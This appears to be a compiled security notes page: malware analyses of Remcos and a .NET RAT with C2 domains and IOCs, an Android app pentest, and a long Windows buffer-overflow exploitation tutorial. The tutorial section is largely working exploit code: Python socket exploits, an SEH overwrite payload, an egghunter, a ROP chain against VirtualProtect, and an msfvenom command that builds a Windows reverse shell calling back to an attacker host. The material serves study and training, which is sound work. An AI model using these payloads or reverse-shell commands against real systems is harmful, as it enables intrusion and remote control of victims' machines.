A 526 KB 32-bit PE. The compile timestamp reads 2026-04-08, five sections. Once running it drops into a Remcos configuration: six C2 endpoints across two domains and a DDNS host, ports 2404 and 443, a keylogger that only wakes up on wallet and mail related window titles, and folders for screenshots and microphone recordings.
.text is 0x5CC6B bytes with a matching raw size — not packed. .data has characteristics 0xC0000040 (read + write) and its virtual size (0x6094) far exceeds raw (0xE00) — that's where the decrypted config lands at runtime. .rsrc holds the encrypted Remcos settings blob.
Dynamic Analysis
x32dbg — INT3 at the entry point
Loaded in x32dbg. The entry stub calls CRT init before the real main. Past initialisation, the sample decrypts settings, creates mutex Rmc-S9P1NO, and prepares folders: Screenshots, MicRecords, updates, logs. Keystrokes go to logs.dat.
The keylogger is selective — it only records when the foreground window title matches: notepad, wallet address, crypto, BTC, cpanel, trust wallet, tronlink, gmail, eth. This build targets cryptocurrency wallets and mailboxes.
Process Hacker — SYN sent to 198.46.173.10:2404
Wireshark — SYN retransmissions on tcp.port == 2404
C2 Servers
connectmeinside.com:2404
vpn.connectmeinside.com:2404
alphabeta.ddns.net:2404
connectmeinside.com:443
vpn.connectmeinside.com:443
alphabeta.ddns.net:443
IP 198.46.173.10
IOCs
SHA256 967b1f49ce0642e631efce3bd1c03d535e0403c852d2e9ebc166967f50b70352
FILE Windows_Security_Update.exe
MUTEX Rmc-S9P1NO
IP 198.46.173.10
DOMAIN connectmeinside.com vpn.connectmeinside.com alphabeta.ddns.net
PORT 2404 443
CAMPAIGN 10090A2143FD7F2F2C8119447814F9E
A .NET assembly with every type and method name replaced by base64 garbage. Under the noise: decrypt an embedded config with AES, connect to primary and backup host over 443, load a surveillance plugin. Group name jbo88.
dnSpy — Rfc2898DeriveBytes → RijndaelManaged
Finding the Key
Searching dnSpy for Rfc2898DeriveBytes lands on a single static method taking a byte[] and a Guid. It derives a key from the GUID with 8 iterations and feeds it to RijndaelManaged. The GUID comes from the assembly's own GuidAttribute — the sample uses its identity as the password.
dnSpy locals — GUID and byte[0x10] key at breakpoint
jbo88b.com resolved to 175.29.151.255 and www.jbo88b.com to 172.65.210.15, both on 443. TCP handshake completes every time — the server is up — but the client immediately throws "Packet size must be greater than 0" and disconnects. Infrastructure is live; the panel behind 443 is not responding correctly.
IOCs
MUTEX 3696c625-56bd-4d38-b8b4-262ef52ab72e
GUID f773f4c3-159b-40de-9ef5-11f65d2fb51d
DOMAIN jbo88b.com www.jbo88b.com
IP 175.29.151.255 172.65.210.15
PORT 443
GROUP jbo88
PLUGIN SurveillanceEx Plugin
Full assessment of the org.android.cmpen application. The target is a deliberately vulnerable Android app with root detection, SSL pinning, exported activities, hardcoded credentials encrypted with DES/ECB, and API endpoints that can be exploited through header manipulation.
Target Application
org.android.cmpen — main screen with root check, status, and secret endpoint buttons
Dynamic Instrumentation — Frida
Frida 17.15.3 — spawned org.android.cmpen on 172.18.192.1:27042, main thread resumed
Connected Frida to the app over USB via frida -U -f org.android.cmpen. The spawn-and-attach approach gives control before any initialization code runs, which is critical for hooking root detection and SSL pinning early enough to bypass them.
1. Hardcoded DES credentials — d3v:Pa55w0Rd1! decrypted from ECB ciphertext with key in strings.xml. DES is broken crypto (56-bit key), ECB mode leaks patterns.
2. Exported FlagActivity without permission — any app on the device can launch it via adb shell am start -n org.android.cmpen/.FlagActivity
3.android:debuggable="true" — allows debugger attach and memory inspection at runtime.
4.android:allowBackup="true" — adb backup can extract all app data including shared preferences and databases.
5.usesCleartextTraffic="true" — HTTP permitted despite HTTPS base URL, enabling MITM on unencrypted requests.
6. Root detection bypass — trivial 3-check detection. A single Frida one-liner bypasses it. Also skips detection entirely on emulators (isEmulator() returns true → isDeviceRooted() returns false).
7. SSL Pinning — v1.0 has code + XML pinning; final version only has XML. Both bypassed with Frida/Objection.
8. Hardcoded tokens in source — RaND0mFl4g, 125eb9c63ats45f4b224c41f6bc98ttw are static, never rotated.
9. Insecure crypto — DES/ECB with hardcoded key logged to Logcat via Log.d().
10. Sensitive data in Logcat — decryptData logs key and plaintext: key, output, and input all in Log.d().
Stack, heap, use-after-free and binary exploitation notes.
01 — The Stack
Every thread gets one stack. When a function is called, the CPU pushes the return address, the function saves the caller's base pointer, then reserves room for locals by moving esp down. That block is the stack frame. On return, the frame is dropped and ret pops the saved address into eip.
Locals sit at lower addresses than the return address. Write past the end of a local buffer and you write upward — over the saved ebp, then over the return address. That is the classic stack buffer overflow.
push ebp ; save caller frame
mov ebp, esp ; new frame base
sub esp, 0x28 ; room for locals
...
mov esp, ebp
pop ebp
ret ; pops return address → eip
02 — The Heap
The heap is managed by an allocator (malloc/free). You request a size at runtime, get back a pointer, and the block lives until you free it. Each block carries metadata (size, in-use flag) right before the user data. Freed blocks are threaded into free lists. Two consequences for exploitation: a freed chunk's memory is reused, and a heap overflow corrupts the next chunk's metadata.
char *cfg = malloc(0x40); // allocator returns a free 0x40 chunk
memcpy(cfg, blob, len); // len > 0x40 → overwrites next chunk header
free(cfg); // chunk goes to a bin, memory still there
char *cmd = malloc(0x40); // very likely the SAME address as cfg
03 — Use After Free
A program frees a heap object but keeps a pointer to it — a dangling pointer. Later, the program allocates something new of the same size and the allocator hands back the same address. The exploit is a reclaim: after the free, allocate an attacker-controlled buffer of the same size, fill it with your data, then trigger the code path that still uses the old pointer.
Session *s = malloc(sizeof *s);
s->on_data = handle_data;
free(s); // s is now dangling
char *buf = malloc(64); // same size → same address
recv(sock, buf, 64, 0); // attacker fills first 8 bytes
s->on_data(buf); // stale call → eip = attacker data
04 — Pwn
Every pwn challenge is the same four moves: find the bug, gain control of a pointer or the instruction pointer, defeat mitigations, land a payload.
Mitigations
Mitigation
Stops
Bypass
NX / DEP
Stack shellcode
ROP → mprotect / VirtualProtect
ASLR
Hardcoded addresses
Info leak, partial overwrite, brute force
Stack Canary
Sequential overwrite
Leak canary, format string, overwrite GOT
PIE
Known binary base
Leak .text address, partial overwrite
RELRO
GOT overwrite
Partial RELRO: GOT still writable
from pwn import *
p = process('./vuln')
offset = cyclic_find(0x61616167)
payload = flat({offset: p32(win_addr)})
p.sendline(payload)
p.interactive()
05 — Windows BOF Walkthrough
Real walkthrough against Free CD to MP3 Converter 3.1 — no ASLR, no DEP, no SafeSEH. The app copies a registration code into a fixed-size stack buffer with no length check.
Attach Debugger
x32dbg — main CPU view ready
Attaching to cdextract at PID 5764
ERC Plugin
ERC plugin — module filtering flags
Fuzzing
Registration fields filled with \x41 bytes
Alternative vector: crafted fuzz.wav
EIP Control Confirmed
EIP=41414141, EBP=41414141 — full control
Stack dump — 41414141 throughout, SEH record overwritten
The x86 register set is identical on Windows and Linux — the hardware doesn't change. What changes is how the operating system organizes the process: the PE binary format, the Win32 API, Structured Exception Handling (SEH), and key data structures like the PEB and TEB.
x86 Registers Recap
The registers critical to Windows exploitation are the same as Linux. EIP is the ultimate target; ESP and EBP manage the stack frame. On Windows, understanding FS:[0] is additionally crucial — it points to the current SEH chain, a Windows-specific exploit target.
Figure 1.1 — x86 Registers in Windows Exploitation Context
PE File Format
Windows executables use the Portable Executable (PE) format instead of Linux's ELF. The PE structure determines how the binary is loaded into memory:
Component
Purpose
DOS Header
Legacy header, starts with MZ (0x4D5A). Contains e_lfanew offset to PE header.
PE Header
Starts with PE\0\0. Machine type, number of sections, timestamp.
Optional Header
Entry point (AddressOfEntryPoint), ImageBase, section alignment, DLL characteristics.
Windows shellcode and advanced exploits rely on traversing internal OS structures:
TEB (Thread Environment Block) — per-thread structure at FS:[0x18]. Contains the SEH chain pointer at offset 0x00 and the PEB pointer at offset 0x30.
PEB (Process Environment Block) — per-process structure. Contains PEB→Ldr at offset 0x0C, which holds the linked list of loaded DLLs — this is how shellcode finds kernel32.dll without hardcoded addresses.
02
Windows Process Memory Layout
When a PE binary runs on Windows, the loader maps it into a 4GB virtual address space (on 32-bit). The layout differs from Linux in its organization, the presence of the PEB/TEB structures, and the way DLLs are loaded.
Figure 2.1 — Windows x86 Process Memory Layout
Key Differences from Linux
Aspect
Linux
Windows
Binary format
ELF
PE (Portable Executable)
Default ImageBase
0x08048000
0x00400000
System calls
int 0x80 / sysenter
Via ntdll.dll stubs
Shared libraries
.so files
.dll files
Exception handling
Signal handlers
SEH chain on stack
Thread-local storage
%gs segment
%fs → TEB
API resolution
PLT/GOT (lazy binding)
IAT (Import Address Table)
Important: The default ImageBase 0x00400000 starts with a null byte. This means the .text section addresses contain \x00 and cannot be used directly in string-based overflows. This is why we use JMP ESP gadgets from loaded DLLs whose addresses don't contain null bytes.
03
The Stack & Calling Conventions
The Windows stack works identically to Linux at the hardware level — LIFO, grows downward, PUSH/POP modify ESP. The critical difference is in calling conventions and the presence of SEH records embedded in stack frames.
stdcall vs cdecl
Windows uses two primary calling conventions:
Convention
Used By
Args
Cleanup
stdcall
Win32 API (kernel32, user32, etc.)
Right-to-left on stack
Callee cleans (ret N)
cdecl
C runtime (msvcrt), user code
Right-to-left on stack
Caller cleans (add esp, N)
thiscall
C++ member functions (MSVC)
this in ECX, rest on stack
Callee cleans
The stdcall distinction matters for exploitation: ret 8 pops the return address and removes 8 bytes of arguments, which affects ROP chain construction.
Stack Frame with SEH
On Windows, functions that use __try/__except (or are compiled with SEH support) have an SEH record embedded in their stack frame. This record is a linked list node containing a pointer to the next SEH record and a pointer to the exception handler function.
Figure 3.1 — Windows Stack Frame with SEH Record
Two attack surfaces: Unlike Linux where only the return address matters, Windows offers two overwrite targets: the saved EIP (direct EIP overwrite, same as Linux) and the SEH handler pointer (SEH-based exploit, Windows-specific). SEH exploits work even when direct EIP overwrite is protected by /GS cookies.
Function Prologue (MSVC)
; Typical MSVC prologue with SEHpushebpmovebp, esppush0xFFFFFFFF; SEH try level (-1 = none)pushoffset __except_handler3moveax, fs:[0]; current SEH headpusheax; save previous SEHmovfs:[0], esp; install new SEHsubesp, 0x108; allocate locals
Part II
The Vulnerability
04
Buffer Overflows on Windows
x32dbg — ready to debug the target applicationAttaching to cdextract (Free CD to MP3 Converter) at PID 5764
The mechanics of a buffer overflow are identical to Linux: write more data to a stack buffer than it can hold, and the excess overwrites adjacent values on the stack. On Windows, the same dangerous C functions exist, plus Windows-specific API functions that are equally unsafe.
:: Visual Studio Developer Command Prompt
cl /GS- /DYNAMICBASE:NO /NXCOMPAT:NO vuln.c ws2_32.lib
:: Or with MinGW
gcc -m32 -fno-stack-protector -Wl,--no-dynamicbase -z execstack -o vuln.exe vuln.c -lws2_32
MSVC Flag
Effect
/GS-
Disable stack cookies (buffer security check)
/DYNAMICBASE:NO
Disable ASLR
/NXCOMPAT:NO
Disable DEP (make stack executable)
/SAFESEH:NO
Disable SafeSEH
05
Taking Control of EIP
Fuzzing the registration fields with \x41 bytesAlternative vector: loading a crafted fuzz.wav triggers the same overflowRegisters after crash — EIP=41414141, EBP=41414141. Full control confirmed.Stack dump — 41414141 throughout, SEH_Record pointer overwrittenERC plugin — module filtering for exploit development
The process for finding the EIP offset is the same as Linux: send a cyclic pattern, observe the value in EIP at crash, and calculate the offset. On Windows, the primary tool for this is Immunity Debugger with the mona.py plugin.
Step 1: Crash with a Pattern
import socket
# Generate pattern with mona or msf-pattern_create
pattern = b"Aa0Aa1Aa2Aa3..."# 500 bytes
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 9999))
s.send(pattern)
s.close()
Step 2: Find Offset with mona.py
:: In Immunity Debugger command bar:
!mona pattern_create 500 // generates pattern
!mona pattern_offset 0x39694438 // finds offset from EIP value:: Output:
[+] Exact match at offset 268
Step 3: Verify Control
import socket, struct
offset = 268
eip = b"BBBB"# 0x42424242
payload = b"A" * offset + eip + b"C" * 200
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.100", 9999))
s.send(payload)
s.close()
# In Immunity: EIP = 42424242 ✓# ESP points to the "CCCC..." after EIP
Figure 5.1 — EIP Control and JMP ESP Strategy
Part III
Exploitation
06
The JMP ESP Technique
On Linux, we used NOP sleds and guessed stack addresses. On Windows, a far more reliable technique exists: JMP ESP. Instead of pointing EIP at a guessed stack address, we point it at a JMP ESP instruction that already exists in a loaded DLL. Since ESP points to our shellcode after ret executes, the JMP ESP redirects execution precisely to our payload.
Critical: The JMP ESP address must not contain bad characters (null bytes \x00, newline \x0a, carriage return \x0d). These bytes terminate string copies. Use mona's -cpb flag to filter them out.
Alternative Gadgets
If JMP ESP is unavailable or has bad bytes, equivalent instructions work:
Instruction
Opcode
Effect
JMP ESP
FF E4
Jump directly to ESP
CALL ESP
FF D4
Push return addr, jump to ESP
PUSH ESP; RET
54 C3
Push ESP onto stack, ret pops it into EIP
Bad Characters
Before building the final payload, identify all byte values that get mangled or truncated by the application. Send all 256 byte values and check which ones arrive intact:
badchars = b""for i inrange(1, 256):
badchars += bytes([i])
# Send: padding + "BBBB" (EIP) + badchars# In Immunity, right-click ESP → Follow in Dump# Compare: any byte missing or replaced = bad char:: mona can automate comparison:
!mona bytearray -cpb "\x00"
!mona compare -f C:\mona\bytearray.bin -a <ESP address>
07
Windows Shellcode
Windows shellcode is fundamentally different from Linux shellcode. Linux shellcode invokes system calls directly via int 0x80. Windows shellcode must call Win32 API functions (like WinExec or CreateProcessA), which means it must first find those functions at runtime by walking internal OS data structures.
PEB Walking: Finding kernel32.dll
Windows shellcode locates kernel32.dll by traversing the PEB's loaded module list:
Figure 7.1 — PEB Walk to Resolve kernel32.dll Base Address
WinExec("calc.exe") Shellcode
A common proof-of-concept shellcode opens calc.exe:
# Generate with msfvenom:
msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00\x0a\x0d' EXITFUNC=thread
# Or for a reverse shell:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.50 LPORT=443 \
-f python -b '\x00\x0a\x0d' -e x86/shikata_ga_nai
Custom Shellcode Structure
Hand-written Windows shellcode follows this pattern:
PEB walk — find kernel32.dll base address
Parse PE export table — locate GetProcAddress and LoadLibraryA
Resolve target APIs — use GetProcAddress to find WinExec, CreateProcessA, or WSASocketA
Call the APIs — execute the payload (spawn calc, reverse shell, etc.)
Encoders: Shellcode with bad characters is processed by an encoder like shikata_ga_nai, which XOR-encodes the payload and prepends a decoder stub. The stub decodes the shellcode in memory before executing it. The encoded version avoids all specified bad bytes.
08
SEH-Based Exploits
Structured Exception Handling (SEH) is a Windows-specific mechanism for handling hardware and software exceptions. Each thread maintains a linked list of exception handlers on the stack. When an exception occurs, Windows walks this chain, calling each handler until one handles the exception. An overflow that corrupts an SEH record allows code execution through an entirely different path than overwriting EIP directly.
SEH Chain Structure
Each SEH record on the stack has two 4-byte fields:
nSEH (Next SEH) — pointer to the next record in the chain (or 0xFFFFFFFF for the last)
SE Handler — pointer to the exception handler function
Figure 8.1 — SEH Exploitation with POP POP RET
The SEH Exploit Payload
import socket, struct
seh_offset = 312# offset to nSEH (find with mona)# nSEH: short jump forward (JMP 06 = \xeb\x06)
nseh = b"\xeb\x06\x90\x90"# SE Handler: POP POP RET from a non-SafeSEH module# !mona seh -cpb "\x00\x0a\x0d"
handler = struct.pack("<I", 0x10015FFE)
# msfvenom -p windows/shell_reverse_tcp ...
shellcode = b"\xdb\xc0\xd9\x74\x24..."# encoded
payload = b"A" * seh_offset # padding to nSEH
payload += nseh # JMP 06 over handler
payload += handler # POP POP RET address
payload += b"\x90" * 16# NOP sled
payload += shellcode # reverse shell
s = socket.socket()
s.connect(("192.168.1.100", 9999))
s.send(payload)
s.close()
SafeSEH: The POP POP RET gadget must come from a module compiled without SafeSEH. Use !mona nosafeseh to list eligible modules.
09
Egghunting
Sometimes the buffer you overflow is too small to hold your full shellcode (a reverse shell can be 350+ bytes). Egghunting is a two-stage technique: place the full shellcode somewhere else in the process memory (a different buffer, a header field, etc.), and use a tiny "egg hunter" stub in the overflow to find and execute it.
How It Works
Prepend a unique egg (an 8-byte marker, e.g. w00tw00t) to the full shellcode
Send the full shellcode via a different input channel (another field, separate request)
In the overflow, place a small egg hunter (~32 bytes) that scans all memory for the egg
When found, the egg hunter jumps to the shellcode immediately after the egg
NtAccessCheckAndAuditAlarm Egg Hunter
The most reliable 32-byte egg hunter for Windows. Uses the NtAccessCheckAndAuditAlarm syscall to safely probe memory pages without crashing on unreadable pages:
# Generate with mona:
!mona egg -t w00t
# Output (32 bytes):
egghunter = (
b"\x66\x81\xca\xff\x0f"# or dx, 0x0fff (page align)b"\x42"# inc edx (next byte)b"\x52"# push edx (save addr)b"\x6a\x02"# push 2 (syscall arg)b"\x58"# pop eax (EAX = 2)b"\xcd\x2e"# int 0x2e (syscall)b"\x3c\x05"# cmp al, 5 (ACCESS_VIOLATION?)b"\x5a"# pop edx (restore addr)b"\x74\xef"# je short -17 (bad page, next)b"\xb8\x77\x30\x30\x74"# mov eax, "w00t" (egg tag)b"\x8b\xfa"# mov edi, edx (search ptr)b"\xaf"# scasd (compare [edi])b"\x75\xea"# jne short -22 (no match, next)b"\xaf"# scasd (compare 2nd tag)b"\x75\xe7"# jne short -25 (no match, next)b"\xff\xe7"# jmp edi (FOUND! jump to shellcode)
)
Exploit Structure
egg = b"w00tw00t"# Stage 1: Send full shellcode via a different input
stage1 = egg + shellcode # placed in a larger buffer elsewhere# Stage 2: Overflow with the small egg hunter
stage2 = b"A" * offset
stage2 += jmp_esp_addr
stage2 += egghunter # only 32 bytes needed!
The egg tag is repeated twice (w00tw00t) to avoid the egg hunter finding itself in memory. Since the hunter contains the tag once (in mov eax, "w00t"), it requires two consecutive occurrences to confirm a match.
10
Writing a Complete Exploit
Let's walk through a complete exploit against the vulnerable server from Chapter 4, combining everything: offset discovery, bad character analysis, JMP ESP, and shellcode.
Figure 10.1 — Windows Exploit Development Workflow
NOP sled before shellcode: Encoded shellcode (e.g., shikata_ga_nai) uses a decoder stub that needs a few bytes of working space before the shellcode body. A 16-byte NOP sled gives the decoder room to operate. Without it, the decoder may corrupt its own instructions.
Part IV
Defenses & Tools
11
Windows Protection Mechanisms
Modern Windows systems layer multiple protections that collectively make stack buffer overflow exploitation significantly harder. Understanding each mechanism is essential for both bypassing them in authorized testing and implementing effective defenses.
Figure 11.1 — Windows Binary Protection Mechanisms
ROP Bypass for DEP
When DEP is enabled but ASLR is off, build a ROP chain that calls VirtualProtect() to mark the stack as executable, then redirect to shellcode:
# !mona rop -cpb "\x00\x0a\x0d"# Generates rop_chains.txt with gadgets for:# VirtualProtect(), VirtualAlloc(), WriteProcessMemory(), etc.# ROP chain structure (conceptual):
rop = p32(0x7c801ad4) # POP EBP; RET
rop += p32(0x7c801ad4) # skip (EBP value for pushad)
rop += p32(0x7c80a064) # POP EAX; RET
rop += p32(0xfffffdff) # value (will be negated to 0x201)
rop += p32(0x7c80f473) # NEG EAX; RET → EAX = 0x201 (PAGE_EXECUTE_RW)# ... more gadgets to set up VirtualProtect() args ...
rop += p32(0x7c86a01b) # PUSHAD; RET → calls VirtualProtect()
12
Tools & References
Essential Toolkit
Tool
Purpose
Immunity Debugger
Primary debugger for exploit development. Python scripting via !mona.
The final step of exploiting the Free CD to MP3 Converter 3.1 stack overflow. We have already: fuzzed parameters, controlled EIP, identified bad characters, and found return instructions (JMP ESP gadgets). Now we generate shellcode and deliver the payload.
Shellcode Generation
We use msfvenom to generate Windows shellcode. First, list available payloads:
msfvenom -l payloads | grep windows
windows/exec Execute an arbitrary command
windows/shell_reverse_tcp Connect back to attacker and spawn a command shell
Generate a calc.exe proof-of-concept payload, excluding bad characters:
Note: The -b flag eliminates bad characters from the shellcode. Even if the shellcode had no bad characters it should still run, though the final shellcode is usually longer if we specify bad characters.
Return Addresses Found
Type
Address
JMP ESP
00419D0B
JMP ESP
00463B91
JMP ESP
00477A8B
JMP ESP
0047E58B
JMP ESP
004979F4
PUSH ESP; RET
0047D4F5
PUSH ESP; RET
00483D0E
NOP Sled
The stack alignment may shift ESP slightly by the time JMP ESP executes. A 32-byte NOP sled (\x90) before the shellcode absorbs this shift — the CPU slides through the NOPs and hits the shellcode cleanly.
cmd.exe spawned with Administrator privileges — matching the user who ran the vulnerable application.
NOP sled before shellcode: Encoded shellcode (e.g., shikata_ga_nai) uses a decoder stub that needs a few bytes of working space. A 32-byte NOP sled gives the decoder room to operate. Without it, the decoder may corrupt its own instructions.
Full notes — sections 1 to 13. Code and explanations only.
1. Buffer Overflows Overview
_Section group: Introduction_
Buffer overflows have become less common in todays world as modern compilers have built in memory-protections that make it difficult for memory corruption bugs to occur accidentally. That being said languages like C are not going to go away anytime soon and they are predominate in embedded software and IOT (Internet of Things). One of my favorite somewhat recent Buffer Overflows was CVE-2021-3156, which was a Heap-Based Buffer Overflow in sudo.
These attacks aren't limited to binaries, a large number of buffer overflows occur in web applications, especially embedded devices which utilize custom webservers. A good example is CVE-2017-12542 with HP iLO (Integrated Lights Out) Management devices. Just sending 29 characters in an HTTP Header parameter caused a buffer overflow which bypassed login. I like this example because there is no need for an actual payload that you'll read more about later since the system "failed open" upon reaching an error.
In short, buffer overflows are caused by incorrect program code, which cannot process too large amounts of data correctly by the CPU and can, therefore, manipulate the CPU's processing. Suppose too much data is written to a reserved memory buffer or stack that is not limited, for example. In that case, specific registers will be overwritten, which may allow code to be executed.
A buffer overflow can cause the program to crash, corrupt data, or harm data structures in the program's runtime. The last of these can overwrite the specific program's return address with arbitrary data, allowing an attacker to execute commands with the privileges of the process vulnerable to the buffer overflow by passing arbitrary machine code. This code is usually intended to give us more convenient access to the system to use it for our own purposes. Such buffer overflows in common servers, and Internet worms also exploit client software.
A particularly popular target on Unix systems is root access, which gives us all permissions to access the system. However, as is often misunderstood, this does not mean that a buffer overflow that "only" leads to the privileges of a standard user is harmless. Getting the coveted root access is often much easier if you already have user privileges.
Buffer overflows, in addition to programming carelessness, are mainly made possible by computer systems based on the Von-Neumann architecture.
The most significant cause of buffer overflows is the use of programming languages that do not automatically monitor limits of memory buffer or stack to prevent (stack-based) buffer overflow. These include the C and C++ languages, which emphasize performance and do not require monitoring.
For this reason, developers are forced to define such areas in the programming code themselves, which increases vulnerability many times over. These areas are often left undefined for testing purposes or due to carelessness. Even if they were used for testing purposes, they might have been overlooked at the end of the development process.
However, not every application environment will likely exhibit a buffer overflow condition. For example, a stand-alone Java application is least likely compared to others because of how Java handles memory management. Java uses a "garbage collection" technique to manage memory, which helps prevent buffer overflow conditions.
2. Exploit Development Introduction
_Section group: Introduction_
Exploit development comes in the Exploitation Phase after specific software and even its versions have been identified. The Exploitation Phase goal is to use the information found and its analysis to exploit the potential ways to gain interaction and/or access to the target system.
Developing our own exploits can be very complex and requires a deep understanding of CPU operations and the software's functions that serve as our target. Many exploits are written in different programming languages. One of the most popular programming languages for this is Python because it is easy to understand and easy to write with. In this module, we will focus on basic techniques for exploit development, as a fundamental understanding must be developed before we can deal with the various security mechanisms of memory.
Before we run any exploits, we need to understand what an exploit is. An exploit is a code that causes the service to perform an operation we want by abusing the found vulnerability. Such codes often serve as proof-of-concept (POC) in our reports.
There are two types of exploits. One is unknown (0-day exploits), and the other is known (N-day exploits).
0-Day Exploits
An 0-day exploit is a code that exploits a newly identified vulnerability in a specific application. The vulnerability does not need to be public in the application. The danger with such exploits is that if the developers of this application are not informed about the vulnerability, they will likely persist with new updates.
N-Day Exploits
If the vulnerability is published and informs the developers, they will still need time to write a fix to prevent them as soon as possible. When they are published, they talk about N-day exploits, counting the days between the publication of the exploit and an attack on the unpatched systems.
Also, these exploits can be divided into four different categories:
Local
Remote
DoS
WebApp
Local Exploits
Local exploits / Privilege Escalation exploits can be executed when opening a file. However, the prerequisite for this is that the local software contains a security vulnerability. Often a local exploit (e.g., in a PDF document or as a macro in a Word or Excel file) first tries to exploit security holes in the program with which the file was imported to achieve a higher privilege level and thus load and execute malicious code / shellcode in the operating system. The actual action that the exploit performs is called payload.
Remote Exploits
The remote exploits very often exploit the buffer overflow vulnerability to get the payload running on the system. This type of exploits differs from local exploits because they can be executed over the network to perform the desired operation.
DoS Exploits
DoS (Denial of Service) exploits are codes that prevent other systems from functioning, i.e., cause a crash of individual software or the entire system.
WebApp Exploits
A Web application exploit uses a vulnerability in such software. Such vulnerabilities can, for example, allow a command injection on the application itself or the underlying database.
3. CPU Architecture
Von Neumann architecture: CPU (ALU + CU + Accumulator), I/O Bus, Memory (RAM)
_Section group: Introduction_
The architecture of the Von-Neumann was developed by the Hungarian mathematician John von Neumann, and it consists of four functional units:
Memory
Control Unit
Arithmetical Logical Unit
Input/Output Unit
In the Von-Neumann architecture, the most important units, the Arithmetical Logical Unit (ALU) and Control Unit (CU), are combined in the actual Central Processing Unit (CPU). The CPU is responsible for executing the instructions and for flow control. The instructions are executed one after the other, step by step. The commands and data are fetched from memory by the CU.
The connection between processor, memory, and input/output unit is called a bus system, which is not mentioned in the original Von-Neumann architecture but plays an essential role in practice. In the Von-Neumann architecture, all instructions and data are transferred via the bus system.
Von-Neumann Architecture
🖼️ Figure: Diagram of computer architecture showing CPU, ALU, control unit, memory, input/output devices, and data flow.
Memory
The memory can be divided into two different categories:
Primary Memory
Secondary Memory
Primary Memory
The primary memory is the Cache and Random Access Memory (RAM). If we think about it logically, memory is nothing more than a place to store information. We can think of it as leaving something at one of our friends to pick it up again later. But for this, it is necessary to know the friend's address to pick up what we have left behind. It is the same as RAM. RAM describes a memory type whose memory allocations can be accessed directly and randomly by their memory addresses.
The cache is integrated into the processor and serves as a buffer, which in the best case, ensures that the processor is always fed with data and program code. Before the program code and data enter the processor for processing, the RAM serves as data storage. The size of the RAM determines the amount of data that can be stored for the processor. However, when the primary memory loses power, all stored contents are lost.
Secondary Memory
The secondary memory is the external data storage, such as HDD/SSD, Flash Drives and CD/DVD-ROMs of a computer, which is not directly accessed by the CPU, but via the I/O interfaces. In other words, it is a mass storage device. It is used to permanently store data that does not need to be processed at the moment. Compared to primary memory, it has a higher storage capacity, can store data permanently even without a power supply, and works much slower.
Control Unit
The Control Unit (CU) is responsible for the correct interworking of the processor's individual parts. An internal bus connection is used for the tasks of the CU. The tasks of the CU can be summarised as follows:
Reading data from the RAM
Saving data in RAM
Provide, decode and execute an instruction
Processing the inputs from peripheral devices
Processing of outputs to peripheral devices
Interrupt control
Monitoring of the entire system
The CU contains the Instruction Register (IR), which contains all instructions that the processor decodes and executes accordingly. The instruction decoder translates the instructions and passes them to the execution unit, which then executes the instruction. The execution unit transfers the data to the ALU for calculation and receives the result back from there. The data used during execution is temporarily stored in registers.
Central Processing Unit
The Central Processing Unit (CPU) is the functional unit in a computer that provides the actual processing power. It is responsible for processing information and controlling the processing operations. To do this, the CPU fetches commands from memory one after the other and initiates data processing.
The processor is also often referred to as a Microprocessor when placed in a single electronic circuit, as in our PCs.
Each CPU has an architecture on which it was built. The best-known CPU architectures are:
x86/i386 - (AMD & Intel)
x86-64/amd64 - (Microsoft & Sun)
ARM - (Acorn)
Each of these CPU architectures is built in a specific way, called Instruction Set Architecture (ISA), which the CPU uses to execute its processes. ISA, therefore, describes the behavior of a CPU concerning the instruction set used. The instruction sets are defined so that they are independent of a specific implementation. Above all, ISA gives us the possibility to understand the unified behavior of machine code in assembly language concerning registers, data types, etc.
There are four different types of ISA:
CISC - Complex Instruction Set Computing
RISC - Reduced Instruction Set Computing
VLIW - Very Long Instruction Word
EPIC - Explicitly Parallel Instruction Computing
RISC
RISC stands for Reduced Instruction Set Computer, a design of microprocessors architecture that aimed to simplify the complexity of the instruction set for assembly programming to one clock cycle. This leads to higher clock frequencies of the CPU but enables a faster execution because smaller instruction sets are used. By an instruction set, we mean the set of machine instructions that a given processor can execute. We can find RISC in most smartphones today, for example. Nevertheless, pretty much all CPUs have a portion of RISC in them. RISC architectures have a fixed length of instructions defined as 32-bit and 64-bit.
CISC
In contrast to RISC, the Complex Instruction Set Computer (CISC) is a processor architecture with an extensive and complex instruction set. Due to the historical development of computers and their memory, recurring sequences of instructions were combined into complicated instructions in second-generation computers. The addressing in CISC architectures does not require 32-bit or 64-bit in contrast to RISC but can be done with an 8-bit mode.
Instruction Cycle
The instruction set describes the totality of the machine instructions of a processor. The scope of the instruction set varies considerably depending on the processor type. Each CPU may have different instruction cycles and instruction sets, but they are all similar in structure, which we can summarize as follows:
Instruction
Description
1. FETCH
The next machine instruction address is read from the Instruction Address Register (IAR). It is then loaded from the Cache or RAM into the Instruction Register (IR).
2. DECODE
The instruction decoder converts the instructions and starts the necessary circuits to execute the instruction.
3. FETCH OPERANDS
If further data have to be loaded for execution, these are loaded from the cache or RAM into the working registers.
4. EXECUTE
The instruction is executed. This can be, for example, operations in the ALU, a jump in the program, the writing back of results into the working registers, or the control of peripheral devices. Depending on the result of some instructions, the status register is set, which can be evaluated by subsequent instructions.
5. UPDATE INSTRUCTION POINTER
If no jump instruction has been executed in the EXECUTE phase, the IAR is now increased by the length of the instruction so that it points to the next machine instruction.
4. Stack-Based Buffer Overflow
Process memory: .text, .data, .bss, Heap → ← Stack, 0x00000000 to 0xFFFFFFFFStrcpy() overflow: data writes past the buffer through EBP into EIP
_Section group: Fundamentals_
Memory exceptions are the operating system's reaction to an error in existing software or during the execution of these. This is responsible for most of the security vulnerabilities in program flows in the last decade. Programming errors often occur, leading to buffer overflows due to inattention when programming with low abstract languages such as C or C++.
These languages are compiled almost directly to machine code and, in contrast to highly abstracted languages such as Java or Python, run through little to no control structure operating system. Buffer overflows are errors that occur when data that is too large to fit into a buffer of the operating system's memory overflows this buffer. As a result of this mishandling, the memory of other functions of the executed program is overwritten, potentially creating a security vulnerability.
Such a program (binary file), is a general executable file stored on a data storage medium. There are several different file formats for such executable binary files. For example, the Portable Executable Format (PE) is used on Microsoft platforms.
Another format for executable files is the Executable and Linking Format (ELF), supported by almost all modern UNIX variants. If the linker loads such an executable binary file and the program will be executed, the corresponding program code will be loaded into the main memory and then executed by the CPU.
